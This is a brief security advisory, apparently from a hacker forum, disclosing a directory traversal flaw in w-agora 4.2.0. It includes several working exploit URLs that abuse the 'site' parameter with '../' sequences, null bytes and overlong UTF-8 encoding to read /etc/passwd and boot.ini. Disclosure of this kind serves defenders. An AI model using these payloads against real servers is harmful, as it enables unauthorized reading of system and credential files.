w-agora 4.2.0 and prior Remote Directory Travel Vulnerability

SEVERITY:
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High

SOFTWARE:
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w-agora 4.2.0

http://w-agora.net

INFO:
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w-agora is a web publishing and forum software. It allows you and your
visitors to store and display messages, files, share discussions and
other information on your web site.

DESCRIPTION:
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W-agora 4.2.0 and earlier are vulnerable to a remote directory travel bug.

Here are some examples:

http://localhost/w-agora/index.php?site=../../../../../../../../boot.ini%00

http://localhost/w-agora/index.php?site=../../../../../../../../etc/passwd%00


http://localhost/w-agora/index.php?site=../../../../../../../../etc/passwd

http://localhost/w-agora/index.php?site=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini

http://localhost/w-agora/index.php?site=../../../../../../../../boot.ini



A proof of concept video supporting this issue can be downloaded from here -

http://rapidshare.de/files/4106113/probe.rar.html

VENDOR STATUS
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Vendor was contacted but no response received till date.

CREDITS: 
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This vulnerability was discovered and researched by -

matrix_killer of h4cky0u Security Forums.

mail : matrix_k at abv.bg

web : http://www.h4cky0u.org

Greets to all omega-team members + krassswr,EcLiPsE and all who support us !!!


ORIGINAL:
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http://h4cky0u.org/viewtopic.php?t=2097

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